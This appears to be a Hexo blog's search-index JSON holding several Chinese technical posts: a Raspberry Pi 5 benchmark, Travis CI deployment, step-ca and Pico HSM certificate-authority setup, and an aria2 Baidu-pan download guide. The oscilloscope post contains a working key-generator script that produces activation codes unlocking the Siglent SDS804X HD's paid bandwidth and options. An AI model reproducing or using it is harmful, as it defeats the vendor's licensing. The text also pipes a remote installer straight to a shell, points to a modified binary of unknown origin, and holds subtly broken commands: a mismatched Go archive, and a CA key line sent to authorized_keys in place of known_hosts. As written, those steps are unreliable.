ARMv8 Cortex-A76 @ 2.40GHz Core Count: 4 Scaling Driver: cpufreq-dt ondemand GRAPHICS: Screen: 4480x1440 MOTHERBOARD: Raspberry Pi 5 Model B Rev 1.0 Chipset: Broadcom BCM2712 Network: Raspberry Pi RP1 PCIe 2.0 South Bridge MEMORY: 4096MB DISK: 62GB SA64G File-System: ext4 Mount Options: relatime rw Disk Details: Block Size: 4096 OPERATING SYSTEM: Ubuntu 24.04 Kernel: 6.8.0-1020-raspi (aarch64) Display Server: X Server Compiler: GCC 13.3.0 Security: gather_data_sampling: Not affected + itlb_multihit: Not affected + l1tf: Not affected + mds: Not affected + meltdown: Not affected + mmio_stale_data: Not affected + reg_file_data_sampling: Not affected + retbleed: Not affected + spec_rstack_overflow: Not affected + spec_store_bypass: Mitigation of SSB disabled via prctl + spectre_v1: Mitigation of __user pointer sanitization + spectre_v2: Mitigation of CSV2 BHB + srbds: Not affected + tsx_async_abort: Not affected7-Zip Compression 24.05: pts/compress-7zip-1.11.0 Test 1 of 1 Estimated Trial Run Count: 3 Estimated Time To Completion: 17 Minutes [07:36 UTC] Started Run 1 @ 07:20:28 Started Run 2 @ 07:21:09 Started Run 3 @ 07:21:50 Test: Compression Rating: 10584 10772 10731 Average: 10696 MIPS Deviation: 0.92% Test: Decompression Rating: 13478 13524 13528 Average: 13510 MIPS Deviation: 0.21% sysbench 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364disappear9@Pi5:~$ sysbench cpu --cpu-max-prime=20000 --threads=4 runsysbench 1.0.20 (using system LuaJIT 2.1.0-beta3)Running the test with following options:Number of threads: 4Initializing random number generator from current timePrime numbers limit: 20000Initializing worker threads...Threads started!CPU speed: events per second: 4128.44General statistics: total time: 10.0010s total number of events: 41295Latency (ms): min: 0.96 avg: 0.97 max: 10.02 95th percentile: 0.97 sum: 39994.74Threads fairness: events (avg/stddev): 10323.7500/20.90 execution time (avg/stddev): 9.9987/0.00disappear9@Pi5:~$ sysbench cpu --cpu-max-prime=20000 --threads=1 runsysbench 1.0.20 (using system LuaJIT 2.1.0-beta3)Running the test with following options:Number of threads: 1Initializing random number generator from current timePrime numbers limit: 20000Initializing worker threads...Threads started!CPU speed: events per second: 1033.96General statistics: total time: 10.0007s total number of events: 10342Latency (ms): min: 0.96 avg: 0.97 max: 1.51 95th percentile: 0.97 sum: 9998.56Threads fairness: events (avg/stddev): 10342.0000/0.00 execution time (avg/stddev): 9.9986/0.00","link":"/RPi5-CPU-Benchmark.html"},{"title":"路由器安全检查APP(安卓) – RouterCheck","text":"RouterCheck是一个基于安卓的路由器与家庭网络安全检查APP,可以检测路由器是否存在安全漏洞和相关风险项。 功能特性配置检查 路由器包含错误或不当的配置往往是遭遇攻击的关键原因所在,RouterCheck将会检查路由器配置。 密码检查 RouterCheck会检查路由器是否使用默认密码或弱密码。 风险检查 RouterCheck将检查你是否启用了UPnP或远程管理员权限。 固件版本检测 RouterCheck将检查路由器最新固件并提示升级 路由器漏洞 RouterCheck将检测路由器软硬件中存在的已知漏洞 开放端口 RouterCheck将检测网络中是否有向互联网开放危险端口 DNS配置 RouterCheck将检测DNS配置是否安全 下载地址(自备梯子)","link":"/RouterCheck.html"},{"title":"鼎阳 SDS804X HD 示波器带宽与选件升级","text":"完成效果脚本来源: https://www.eevblog.com/forum/testgear/siglent-sds-sdg-hack-script/升级完成后型号会显示为SDS824X HD: 操作步骤1.示波器连好网线,配置网络: 配网后的操作就可以不用在示波器的小屏幕上进行了。 2.打开SCPI页面 3.修改并运行脚本Python123456789101112131415161718192021222324252627282930313233343536373839404142434445464748import hashlib# SCPI页面运行命令 MD5_SRLN? 获得SCOPEIDSCOPEID = '0000000000000000'# 在 Home 页面找到SN进行替换SN = 'SDS00000000000'Model = 'SDS800X-HD'bwopt = ('70M', '100M', '200M')otheropt = ('PWA',)hashkey = '5zao9lyua01pp7hjzm3orcq90mds63z6zi5kv7vmv3ih981vlwn06txnjdtas3u2wa8msx61i12ueh14t7kqwsfskg032nhyuy1d9vv2wm925rd18kih9xhkyilobbgy'def gen(x): h = hashlib.md5(( hashkey + (Model+'\\n').ljust(32, '\\x00') + opt.ljust(5, '\\x00') + 2*(((SCOPEID if opt in bwopt else SN) + '\\n').ljust(32, '\\x00')) + '\\x00'*16).encode('ascii') ).digest() key = '' for b in h: if (b <= 0x2F or b > 0x39) and (b <= 0x60 or b > 0x7A): m = b % 0x24 b = m + (0x57 if m > 9 else 0x30) if b == 0x30: b = 0x32 if b == 0x31: b = 0x33 if b == 0x6c: b = 0x6d if b == 0x6f: b = 0x70 key += chr(b) return key.upper()print('--------------------------------')print('\\n')for opt in bwopt: print('{:5} {}'.format(opt, gen(SCOPEID)))print('\\n')print('--------------------------------')print('\\n')for opt in otheropt: print('{:5} {}'.format(opt, gen(SN))) 4.升级带宽注:在向SCPI页面输入任何脚本生成的激活码前,先运行命令MCBD?查询当先带宽的激活码(一般为70M的),核对与脚本生成的70M的激活码是否一致,不一致就先检查脚本中的SCOPEID,SN输入是否正确。 SCPI页面运行命令 MCBD 带宽激活码 例如:MCBD 6M5VE9723IR5RACG 5.解锁选件注:示波器固件升级到 1.1.3.8 版本后,FG(USB波形发生器)和16LA(16通逻辑分析仪)这两个需要买额外硬件的选件成标配了,不需要手动激活。 全部操作完成后重启。","link":"/SDS804X-HD-Upgrade.html"},{"title":"纸飞机","text":"clowwindy的最后一个版本备份Releases:https://github.com/shadowsocks/shadowsocks-windows/releases2.5.6版本https://mega.nz/#!SEMHBCyB!3OjvA2OL0W2KYKIlYA9eAlrBdRrHDJ5SPz-vFeE7-UE","link":"/SS.html"},{"title":"使用 Travis CI 自动构建 Hexo 博客","text":"配置 GitHub 仓库注意:以下全部操作尽量不要在Windows系统下操作建立一个source分支,放入scaffolds source themes文件夹和_config.yml package.json文件 12345678mkdir sourcecd sourcegit initgit remote add origin git@github.com:Disappear9/disappear9.github.io.gitgit checkout --orphan sourcegit add .git commit -m "Initial commit"git push origin source:source 创建 .travis.yml 12language: node_jsnode_js: stable 配置 Travis CI用Github登录并且关联项目 配置Deploy keys让Travis CI可以push到你的仓库 生成一个 ssh 密钥对: 1$ ssh-keygen -t ed25519 -f travis.key 把travis.key.pub中的内容粘贴到Deploy keys 加密私匙总不能把私匙直接放项目里把?下面第一个坑来了:我们需要安装 Travis 的命令行工具 12$ sudo apt install ruby$ sudo gem install travis 瞬间报错 12ERROR: Error installing ffi: ERROR: Failed to build gem native extension. Google了一圈,缺依赖,安上: 1apt install ruby-dev curl 好了,能正常运行了登录 Travis 并加密文件 1234# 如果是私有项目要加 --pro 参数$ travis login --auto# 加密完成后会在当前目录下生成 travis.key.enc 文件$ travis encrypt-file travis.key -add 如果使用Windows系统,到这一步就会各种报错,官方甚至直接把这条写进了文档,说明不要在Windows系统下操作 12Caveat #There is a report of this function not working on a local Windows machine. Please use the WSL (Windows Subsystem for Linux) or a Linux or macOS machine 加密完成后把travis.key.enc放进travis文件夹,查看.travis.yml会发现多了这样一行 12openssl aes-256-cbc -K $encrypted_************_key -iv $encrypted_************_iv -in .travis/travis.key.enc -out ~/.ssh/id_rsa -d 其中的$encrypted_************_key和iv应该会被自动添加到Travis的环境变量然而在我这里并没有 然后就是第二个坑你需要在运行$ travis encrypt-file travis.key -add时加上 –debug参数,这样工具就会打印出API日志,其中value长度为32位的是iv,更长的是key,然后手动把他们加入到Travis的环境变量(添加的时候不要把前面的$符号打进去,不然又是报错)(手贱这一下我调了半天没找到错误在那……) 编写 .travis.yml.travis.yml1234567891011121314151617181920212223242526272829303132language: node_jsnode_js: stablebranches: only: - sourcecache: yarn: true directories: - node_modules - themes# 添加github.com为信任主机,不然git push会失败addons: ssh_known_hosts: - github.combefore_install:- openssl aes-256-cbc -K $encrypted_************_key -iv $encrypted_************_iv -in travis/travis.key.enc -out ~/.ssh/id_ed25519 -d- chmod 600 ~/.ssh/id_ed25519- git config --global user.name "Disappear9"- git config --global user.email "disappear9@outlook.com"- chmod +x travis/deploy.shinstall:- yarnscript:- hexo clean- hexo generate# 用deploy.sh来git commit + git pushafter_success:- travis/deploy.sh deploy.sh(放进travis文件夹) deploy.sh1234567891011121314#!/bin/bashset -evexport TZ='Asia/Shanghai'git clone --depth=1 -b master git@github.com:Disappear9/disappear9.github.io.git .deploy_gitcd .deploy_gitgit checkout mastermv .git/ ../public/cd ../publicgit add .git commit -m "Site updated: `date +"%Y-%m-%d %H:%M:%S"`"git push origin master:master --force 上面这些步骤做完后你的目录看起来应该是这样的 https://github.com/Disappear9/disappear9.github.io/tree/source欢迎参考 完成后git push origin source:source 这样Travis ci就会开始构建了 参考链接:https://blessing.studio/deploy-hexo-blog-automatically-with-travis-ci/https://segmentfault.com/a/1190000013286548","link":"/Travis-CI-Hexo.html"},{"title":"灵车!开创! Step-CA 日常使用教程","text":"前几天总算抽空把咕了快一年的自建灵车CA的教程写完了:使用 Pico HSM 和 step-ca 自建一个CA建完以后总是要拿来用一用玩一玩的,那么这一篇幅就写一些 Step-CA 的使用教程吧,顺便也给自己留个参考。 ACME修改默认配置为了安全 Step-CA 默认签出的证书只有24小时的有效期,这对于我们来说是完全没有必要的,先来把它修改到7天 编辑step-ca/config/ca.json ca.json123456789{ "type": "ACME", "name": "acme", "claims": { "maxTLSCertDuration": "336h", "minTLSCertDuration": "24h", "defaultTLSCertDuration": "168h" }} 开启CRL功能 编辑 step-ca/config/ca.json ca.json12345"insecureAddress": ":9001","crl": { "enabled": true, "idpURL": "http://ca.lab.d9lab.eu.org/1.0/crl"}, 创建模板 /etc/step-ca/templates/x509/leaf.tpl leaf.tpl1234567891011{ "subject": { { toJson .Subject } }, "sans": { { toJson .SANs } }, { {- if typeIs "*rsa.PublicKey" .Insecure.CR.PublicKey } } "keyUsage": ["keyEncipherment", "digitalSignature"], { {- else } } "keyUsage": ["digitalSignature"], { {- end } } "extKeyUsage": ["serverAuth", "clientAuth"], "crlDistributionPoints": ["http://ca.lab.d9lab.eu.org/1.0/crl"]} 编辑 step-ca/config/ca.json设置acme和JWK provisioner使用模板 ca.json1234567891011121314151617181920212223242526...... "claims": { "maxTLSCertDuration": "336h", "minTLSCertDuration": "24h", "defaultTLSCertDuration": "168h" }, "options": { "x509": { "templateFile": "/etc/step-ca/templates/x509/leaf.tpl" }, "ssh": {} }...... "claims": { "enableSSHCA": true, "disableRenewal": false, "allowRenewalAfterExpiry": false, "disableSmallstepExtensions": false }, "options": { "x509": { "templateFile": "/etc/step-ca/templates/x509/leaf.tpl" }, "ssh": {} } 给设备发SSL证书其他ACME客户端可以参考:Popular ACME Clients这里我们使用acme.sh,主打一个小而美。 假设我要给我内网的旁路由(OpenWRT)签一个证书 由于我们的自建CA不在系统的信任根证书列表里,所以如果直接运行acme.sh,curl会报错,我们需要把root_ca.crt复制一份到设备上。 12345678# 将root_ca.crt复制到/root/certs/root_ca.crt# 安装acme.sh$ curl https://get.acme.sh | sh -s email=my@example.com$ ~/.acme.sh/acme.sh --issue -d router2.d9lab.eu.org \\--server https://ca.lab.thinkalone.win:4443/acme/acme/directory \\--ca-bundle /root/certs/root_ca.crt \\--webroot /www --days 6 --reloadcmd "service uhttpd reload" 然后编辑/etc/config/uhttpd 123456789...#让uhttpd监听443端口 list listen_https '0.0.0.0:443' list listen_https '[::]:443'...#将cert和key的路径改到上面acme.sh脚本输出的 option cert '/root/.acme.sh/router2.d9lab.eu.org_ecc/router2.d9lab.eu.org.cer' option key '/root/.acme.sh/router2.d9lab.eu.org_ecc/router2.d9lab.eu.org.key'... SSH参考:SSH Certificates with step-castep-ca で ssh証明書を扱う Server重启 step-ca ,查看日志找到 SSH Host CA Key 和 SSH User CA Key 123456789101112131415161718$ sudo service step-ca stop$ sudo service step-ca start$ sudo service step-ca status● step-ca.service - step-ca Loaded: loaded (/etc/systemd/system/step-ca.service; enabled; preset: enabled) Active: active (running) since Main PID: 156738 (sh) Tasks: 11 (limit: 4529) Memory: 14.4M CPU: 305ms CGroup: /system.slice/step-ca.service ├─156738 /bin/sh -c "/usr/local/bin/step-ca /etc/step-ca/config/ca.json" └─156739 /usr/local/bin/step-ca /etc/step-ca/config/ca.json......SSH Host CA Key: ecdsa-sha2-nistp256 AAA=SSH User CA Key: ecdsa-sha2-nistp256 AAB=...... 将 SSH User CA Key 写入到 /etc/ssh/ssh_user_ca_key.pub 123$ sudo echo "ecdsa-sha2-nistp256 AAB=" > /etc/ssh/ssh_user_ca_key.pub$ sudo chown root:root /etc/ssh/ssh_user_ca_key.pub$ sudo chmod 644 /etc/ssh/ssh_user_ca_key.pub 签名主机公钥 123$ sudo cp /etc/ssh/ssh_host_ecdsa_key.pub ssh_host_ecdsa_key.pub$ sudo step ssh certificate $HOSTNAME ssh_host_ecdsa_key.pub --host --sign$ sudo cp ssh_host_ecdsa_key-cert.pub /etc/ssh/ssh_host_ecdsa_key-cert.pub 创建 /etc/ssh/sshd_config.d/ca.conf ca.conf12TrustedUserCAKeys /etc/ssh/ssh_user_ca_key.pubHostCertificate /etc/ssh/ssh_host_ecdsa_key-cert.pub 测试 sshd 配置并重启 sshd 12$ sudo sshd -t$ sudo service ssh restart 将 SSH Host CA Key 写入到 ~/.ssh/authorized_keys authorized_keys1ecdsa-sha2-nistp256 AAA= Client生成用于连接的证书 123456$ step ssh certificate disappear9@192.168.1.100 id_ecdsa......Please enter the password to encrypt the private key: Private Key: id_ecdsa Public Key: id_ecdsa.pub Certificate: id_ecdsa-cert.pub 将 SSH Host CA Key 写入到 ~/.ssh/known_hosts authorized_keys1echo "@cert-authority 192.168.1.100 ecdsa-sha2-nistp256 AAA=" >> ~/.ssh/authorized_keys 然后就可以直接 ssh disappear9@192.168.1.100 连接了 (完)","link":"/Using-step-ca.html"},{"title":"使用Aria2满速下载百度网盘资源","text":"首先,感谢网盘插件的作者acgotaku 安装Aria2官方的aria2限制了同服务器连接数为最大16个。。。。表示不能理解(MDZZ)所以我直接编译了一个去掉了限制的版本 百度盘(密码:3qim)(我也不知道有什么副作用) 配置Aria2Aria2有两种下载模式,一种是命令行下载模式,一种是RPC Server模式.前者不建议使用,后者的使用方式很方便. RPC模式就是启动之后什么也不做,等着通过RPC接口接受下载请求.下载完也不会退出,一直等待. 使用命令行加参数的方式配置Aria2非常不推荐,建议使用配置文件的方式,下面贴出我的配置文件. 将下面的内容保存为aria2.conf,和上面的aria2.exe放在同一目录下。 aria2.conf12345678910111213141516171819202122232425262728293031323334rpc-secret=你的密码#设置连接密码#允许所有来源, web界面跨域权限需要rpc-allow-origin-all=true#允许外部访问,false的话只监听本地端口rpc-listen-all=true#最大同时下载数(任务数), 路由建议值: 3max-concurrent-downloads=8#断点续传continue=true#同服务器连接数max-connection-per-server=32#最小文件分片大小, 下载线程数上限取决于能分出多少片, 对于小文件重要min-split-size=6M#单文件最大线程数, 路由建议值: 5split=32#下载速度限制max-overall-download-limit=0#单文件速度限制max-download-limit=0#上传速度限制max-overall-upload-limit=0#单文件速度限制max-upload-limit=0#文件保存路径, 默认为当前启动位置dir=D:\\Downloads#文件缓存, 使用内置的文件缓存, 如果你不相信Linux内核文件缓存和磁盘内置缓存时使用, 需要1.16及以上版本#disk-cache=0#另一种Linux文件缓存方式, 使用前确保您使用的内核支持此选项, 需要1.15及以上版本(?)#enable-mmap=true#文件预分配, 能有效降低文件碎片, 提高磁盘性能. 缺点是预分配时间较长#所需时间 none < falloc ? trunc << prealloc, falloc和trunc需要文件系统和内核支持file-allocation=falloc 开启cmd,cd到aria2c的目录下,运行命令: 1aria2c.exe --conf-path=aria2.conf 或者把上面这行存为start.bat,放到aria2c的目录下,双击运行 管理Aria2的下载任务YAAW在线版点击右上角的扳手,将RPC PATH修改为http://token:你的密码@127.0.0.1:6800/jsonrpc其他的不需要设置 安装百度网盘插件链接: https://pan.baidu.com/s/1skWqWjz 密码: m9xj 下载后解压到一个你不会随便删掉的地方 你需要Chrome或Firefox Chrome : 设置 -> 扩展程序 -> 勾选 开发者模式-> 加载已解压的扩展程序Firefox : 在地址栏输入 about:debugging , 勾选 启用附加组件调试,点击临时加载附加组件,选择文件夹内的manifest.json 然后,打开pan.baidu.com,你会看到这样一个东西点击设置RPC地址请参照上面的 管理Aria2的下载任务选中你想要下载的文件,导出下载 => aria2rpc 效果 解决每次开启Chrome都提示禁用打开 chrome://extensions记下扩展 网盘助手的 ID,像这样: 1ID: eppgadbgkjo63216967523eiabpgjfph 下载这个文件:https://dl.google.com/dl/edgedl/chrome/policy/policy_templates.zip(可能需要挂代理)解压里面的 Windows/adm/zh-CN/chrome.adm按下WIN+R键,运行gpedit.msc打开 计算机配置 => 管理模板 右键单击管理模板 => 添加/删除模板 => 选择chrome.adm打开 经典管理模板 / Google / Google Chrome / 扩展程序 双击打开 配置扩展程序安装白名单 选择 已启用点击下面的 显示 然后把ID复制进去 重启Chrome","link":"/bdpan-via-aria.html"},{"title":"灵上加灵:使用 Pico HSM 和 step-ca 自建一个CA","text":"引言前几天在Canokey群看到一个软件:step-ca简单说就是用这个软件可以自建一个CA来玩,而且软件支持HSM设备 环境确认硬件信息:  OrangePi Zero3  Raspberry Pi Pico2操作系统:  Armbian v25.11.2 6.12.58-current-sunxi64软件版本:  go1.25.5  step-ca 0.29.0  OpenSC 0.26.1 准备安装Gohttps://go.dev/doc/install 12345$ wget https://go.dev/dl/go1.25.5.linux-arm64.tar.gz$ sudo rm -rf /usr/local/go && sudo tar -C /usr/local -xzf go1.25.5.linux-amd64.tar.gz$ export PATH=$PATH:/usr/local/go/bin$ go versiongo version go1.25.5 linux/arm64 编译 step-ca由于官方编译的软件包没有HSM支持,所以我们需要手动编译 https://github.com/smallstep/certificates/blob/master/CONTRIBUTING.md#build-step-ca-using-cgo 1234567891011$ wget https://github.com/smallstep/certificates/archive/refs/tags/v0.29.0.tar.gz$ tar -xvzf v0.29.0.tar.gz$ cd certificates-0.29.0$ sudo apt install libpcsclite-dev gcc make pkg-config$ make bootstrap$ make build GO_ENVS="CGO_ENABLED=1"$ sudo cp bin/step-ca /usr/local/bin$ sudo setcap CAP_NET_BIND_SERVICE=+eip /usr/local/bin/step-ca$ step-ca versionSmallstep CA/ (linux/arm64)Release Date: 2025-12-03 14:16 UTC 安装 step-cli 和 step-kms-plugin12345678910$ wget https://dl.smallstep.com/gh-release/cli/gh-release-header/v0.29.0/step-cli_0.29.0-1_arm64.deb$ sudo dpkg -i step-cli_0.29.0-1_arm64.deb$ step versionSmallstep CLI/0.29.0 (linux/arm64)Release Date: 2025-12-03T04:11:27Z$ wget https://github.com/smallstep/step-kms-plugin/releases/download/v0.16.0/step-kms-plugin_0.16.0-1_arm64.deb$ sudo dpkg -i step-kms-plugin_0.16.0-1_arm64.deb$ step kms version🔐 step-kms-plugin/0.16.0 (linux/arm64) Release Date: 2025-12-04T22:35:43Z 编译 OpenSChttps://github.com/OpenSC/OpenSC/wiki/Compiling-and-Installing-on-Unix-flavors 12345678$ wget https://github.com/OpenSC/OpenSC/releases/download/0.26.1/opensc-0.26.1.tar.gz$ sudo apt install pcscd libccid libpcsclite-dev libssl-dev libreadline-dev autoconf automake build-essential docbook-xsl xsltproc libtool pkg-config zlib1g-dev $ tar xfvz opensc-0.26.1.tar.gz$ cd opensc-0.26.1$ ./bootstrap$ ./configure --prefix=/usr --sysconfdir=/etc/opensc$ make$ sudo make install 配置 TRNG (可选)这里使用的是 Infinite Noise TRNG 全开源的硬件TRNG 123456789101112131415161718$ curl -LO https://github.com/leetronics/infnoise/archive/refs/tags/0.3.3.tar.gz$ tar xvzf 0.3.3.tar.gz$ cd infnoise-0.3.3/software$ sudo apt install libftdi-dev libusb-dev$ make -f Makefile.linux$ sudo make -f Makefile.linux install$ infnoise --versionGIT VERSION -GIT COMMIT -GIT DATE -$ sudo init 6$ infnoise --debug --no-outputGenerated 1048576 bits. OK to use data. Estimated entropy per bit: 0.875965, estimated K: 1.835235num1s:50.019069%, even misfires:0.183222%, odd misfires:0.123520%Generated 2097152 bits. OK to use data. Estimated entropy per bit: 0.873196, estimated K: 1.831716num1s:49.909786%, even misfires:0.202971%, odd misfires:0.124232%...... 烧录 pico-hsm 到 Pico2https://github.com/polhenarejos/pico-hsmhttps://github.com/Gadgetoid/pico-universal-flash-nuke 12$ wget https://github.com/polhenarejos/pico-hsm/releases/download/v6.0/pico_hsm_pico2-6.0.uf2$ wget https://github.com/Gadgetoid/pico-universal-flash-nuke/releases/download/v1.0.1/universal_flash_nuke.uf2 按住 Pico2 开发板上的 BOOT 按钮,连上 USB 线,先刷入universal_flash_nuke.uf2清空Flash,再刷入pico_hsm_pico2-6.0.uf2 初始化 pico-hsm更新:目前如果要使用SCS3 tool导入证书,只能使用Pico Commissioner初始化,否则会导致SCS3一直报认证错误。更新2:这B作者把Pico Commissioner的页面和pypicohsm等工具全删了,现有的网页存档也被作者下了,然后强制用户使用一个新的需要付费30欧元每个Key的应用来初始化。更新3:有个印度老哥做了分叉Libre Keys,大部分工具如pypicohsm等都可以在这里下载了。更新4:写了一个自己生成cvc证书的教程,按教程操作后就可以用SCS3管理pico-hsm了,直接使用原2.0.2版本的pypicohsm会从原作者的服务器上请求cvc证书,也能用,但是鉴于这B目前的吃相这个API还能活多久我不好说。 pico-hsm-tool.py PicoCommissioner(已失效) 1234567$ sudo apt install python3-dev$ wget https://github.com/librekeys/pico-hsm/raw/refs/heads/master/tools/pico-hsm-tool.py$ python3 -m venv venv$ source venv/bin/activate$ pip install pycvc cryptography pypicohsm$ python3 pico-hsm-tool.py$ deactivate 更改pico-hsm的vid和pid 123456789$ sudo -i$ source venv/bin/activate$ python pico-hsm-tool.py phy vidpid 20A0:4230$ exit$ lsusbBus 006 Device 003: ID 20a0:4230 Clay Logic Nitrokey HSMBus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hubBus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub... 初始化 pico-hsm 1$ python3 pico-hsm-tool.py --pin 648219 initialize --so-pin 57621880 https://www.picokeys.com/pico-commissioner/ 创建RootCA和中间CA这里我们使用的是创建后导入的方式,虽然在使用正规HSM产品的时候都是建议仅在设备上生成密钥且不要导入导出,但是我们这个10块钱的开发板指不定什么时候就会坏,所以多一份备份是必须的。 生成RootCA私钥 123$ mkdir -p certificate-authority/newcerts$ touch certificate-authority/index.txt$ openssl ecparam -genkey -name secp384r1 -noout -out root-ca-key.pem create_root_cert.ini12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455[ ca ]# `man ca`default_ca = CA_default[ CA_default ]# Directory and file locations.dir = certificate-authoritycerts = $dir/certscrl_dir = $dir/crlnew_certs_dir = $dir/newcertsdatabase = $dir/index.txtserial = $dir/serial# SHA-1 is deprecated, so use SHA-2 instead.default_md = sha512name_opt = ca_defaultcert_opt = ca_defaultdefault_days = 375preserve = nopolicy = policy_strict[ policy_strict ]# The root CA should only sign intermediate certificates that match.# See the POLICY FORMAT section of `man ca`.countryName = matchstateOrProvinceName = matchorganizationName = matchorganizationalUnitName = optionalcommonName = suppliedemailAddress = optional[ req ]# Options for the `req` tool (`man req`).default_bits = 4096distinguished_name = req_distinguished_namestring_mask = utf8onlyprompt = no# SHA-1 is deprecated, so use SHA-2 instead.default_md = sha512[ req_distinguished_name ]C = CNO = D9LabOU = D9Lab Zero Certificate AuthorityCN = D9Lab Zero Root CA[ v3_ca ]# Extensions for a typical CA (`man x509v3_config`).subjectKeyIdentifier = hashauthorityKeyIdentifier = keyid:always,issuerbasicConstraints = critical, CA:truekeyUsage = critical, digitalSignature, cRLSign, keyCertSign 生成RootCA证书 1$ openssl req -config create_root_cert.ini -new -key root-ca-key.pem -x509 -days 3650 -sha512 -extensions v3_ca -out root-ca.crt RootCA的密钥和证书如果有条件的话建议导入到不那么灵车的设备里,如Canokey中。 生成中间CA私钥 使用HSM设备 不使用HSM设备 首先暂时拔掉Pico HSM,插上Canokey/YubiKey之类的设备将证书和私钥打包成p12格式 12# 注意必须要设定密码,不然导入的时候会报错! $ openssl pkcs12 -export -out root-ca.p12 -inkey root-ca-key.pem -in root-ca.crt 将p12格式的RootCA证书导入到HSM设备中 以Canokey为例 1$ yubico-piv-tool -r canokeys -s 9a -i root-ca.p12 -KPKCS12 -a import-key -a import-cert 找到导入进Canokey的证书id 1$ pkcs11-tool --module /usr/lib/opensc-pkcs11.so -O 正常的话应该会有类似这样的输出: 12345678...Certificate Object; type = X.509 cert label: Certificate for Key Management subject: DN: C=CN, O=D9Lab, OU=D9Lab Zero Certificate Authority, CN=D9Lab Zero Root CA serial: ************ ID: 03 uri: pkcs11:model=PKCS%2315%20emulated;manufacturer=piv_II;serial=************;token=Disappear9%20%27s%20CanoKey;id=%03;object=Certificate%20for%20Key%20Management;type=cert... 记下这个ID 03,接下来会用到 创建中间CA模板 intermediate.tpl123456789{ "subject": { { toJson .Subject } }, "keyUsage": ["certSign", "crlSign"], "basicConstraints": { "isCA": true, "maxPathLen": 0 }, "crlDistributionPoints": ["http://ca.lab.d9lab.eu.org/1.0/crl"]} 生成中间CA私钥 1234567891011$ step certificate create \\ "D9Lab Zero Intermediate CA" \\ intermediate-ca.crt \\ intermediate_ca_key_enc \\ --template intermediate.tpl \\ --ca root-ca.crt \\ --ca-kms 'pkcs11:module-path=/usr/lib/opensc-pkcs11.so;serial=************?pin-value=648219' \\ --ca-key 'pkcs11:id=03' \\ --not-before '2025-01-10T00:00:00+08:00' \\ --not-after '2030-01-10T00:00:00+08:00' \\ --kty=EC --curve=P-384 拔下Canokey/YubiKey,换回Pico HSM 创建中间CA模板 intermediate.tpl123456789{ "subject": { { toJson .Subject } }, "keyUsage": ["certSign", "crlSign"], "basicConstraints": { "isCA": true, "maxPathLen": 0 }, "crlDistributionPoints": ["http://ca.lab.d9lab.eu.org/1.0/crl"]} 生成中间CA私钥 12345678910$ step certificate create \\ "D9Lab Zero Intermediate CA" \\ intermediate-ca.crt \\ intermediate_ca_key_enc \\ --template intermediate.tpl \\ --ca root-ca.crt \\ --ca-key root-ca-key.pem \\ --not-before '2025-01-10T00:00:00+08:00' \\ --not-after '2030-01-10T00:00:00+08:00' \\ --kty=EC --curve=P-384 将证书和私钥打包成p12格式 123$ openssl ec -in intermediate_ca_key_enc -out intermediate-ca-key.pem# 注意必须要设定密码,不然导入的时候会报错! $ openssl pkcs12 -export -out intermediate-ca.p12 -inkey intermediate-ca-key.pem -in intermediate-ca.crt -certfile root-ca.crt 将中间CA证书和密钥导入 pico-hsm首先参考 pico-hsm 作者的说明,下载并修改SCS3 tool:https://github.com/polhenarejos/pico-hsm/blob/master/doc/scs3.md 然后参考 docs.nitrokey.com 导入intermediate-ca.p12 12345678910111213141516171819202122232425Inside the unpacked directory you will find scsh3gui, which can be started using bash scsh3gui (for windows double-click on: scsh3gui.cmd).Start key-manager (File -> Keymanager)Right-click “Smartcard-HSM” -> create DKEK shareChoose file locationChoose DKEK share passwordRight-click “Smartcard-HSM” -> Initialize deviceEnter SO-PIN(optional) Enter label and enter URL/HostSelect authentication method: “User PIN”Allow RESET RETRY COUNTER: “Resetting and unblocking PIN with SO-PIN not allowed”Enter and confirm User PIN“Select Device Key Encryption scheme” -> “DKEK shares”Enter number of DKEK shares: 1Right-click DKEK set-up in progress -> “Import DKEK share”Choose DKEK share file locationPassword for DKEK shareRight-click “SmartCard-HSM” -> “Import from PKCS#12(Old)”Enter number of shares -> 1Enter file location of DKEK shareEnter Password for DKEK shareSelect PKCS#12 container for import (Enter password)Select KeySelect Name to be used (intermediate-ca)Import more keys, if needed 导入完成后运行pkcs11-tool -O应该就可以看到导入的证书了 1234567$ pkcs11-tool -O Using slot 0 with a present token (0x0) Certificate Object; type = X.509 cert label: intermediate-ca subject: DN: C=CN, O=D9Lab, OU=D9Lab Zero Certificate Authority, CN=D9Lab Zero Intermediate CA ID: 01... 记下ID和label,后面要用到。 把这些文件拿7z打个加密压缩包,密码用KeePass生成一个够长的保存,然后找个你喜欢的网盘存好或者刻张光盘放衣柜里。 1234567intermediate-ca-key.pemintermediate-ca.crtintermediate-ca.p12pde文件(DKEK)root-ca-key.pemroot-ca.crtroot-ca.p12 之后只保留intermediate-ca.crt和root-ca.crt,其余文件全部删除 配置step-cahttps://smallstep.com/docs/step-ca/cryptographic-protection/#pkcs-11 初始化 1234567891011121314151617181920$ sudo systemctl enable pcscd$ sudo systemctl start pcscd$ sudo useradd step$ sudo passwd -l step$ sudo mkdir /etc/step-ca$ export STEPPATH=/etc/step-ca$ sudo --preserve-env step ca init --name="D9Lab Zero CA" \\ --dns="ca.lab.d9lab.eu.org" --address=":4443" \\ --provisioner="disappear9@outlook.com" \\ --deployment-type standalone \\ --remote-management# 记好自己设置的 provisioner key$ sudo rm /etc/step-ca/certs/*# 将保存的 intermediate-ca.crt 和 root-ca.crt 复制到/etc/step-ca/certs/$ sudo rm -rf /etc/step-ca/secrets$ sudo chown -R step:step /etc/step-ca$ step kms create --json --kms "pkcs11:module-path=/usr/lib/opensc-pkcs11.so;serial=ESPICOHSMTR?pin-value=648219" "pkcs11:id=2000;object=ssh-host-ca"$ step kms create --json --kms "pkcs11:module-path=/usr/lib/opensc-pkcs11.so;serial=ESPICOHSMTR?pin-value=648219" "pkcs11:id=2001;object=ssh-user-ca" 编辑/etc/step-ca/config/ca.json ca.json1234567891011121314{ "root": "/etc/step-ca/certs/root-ca.crt", "crt": "/etc/step-ca/certs/intermediate-ca.crt", "key": "pkcs11:id=01;object=intermediate-ca", "kms": { "type": "pkcs11", "uri": "pkcs11:module-path=/usr/lib/opensc-pkcs11.so;serial=ESPICOHSMTR?pin-value=648219" }, "ssh": { "hostKey": "pkcs11:id=2000;object=ssh-host-ca", "userKey": "pkcs11:id=2001;object=ssh-user-ca" }} 尝试运行 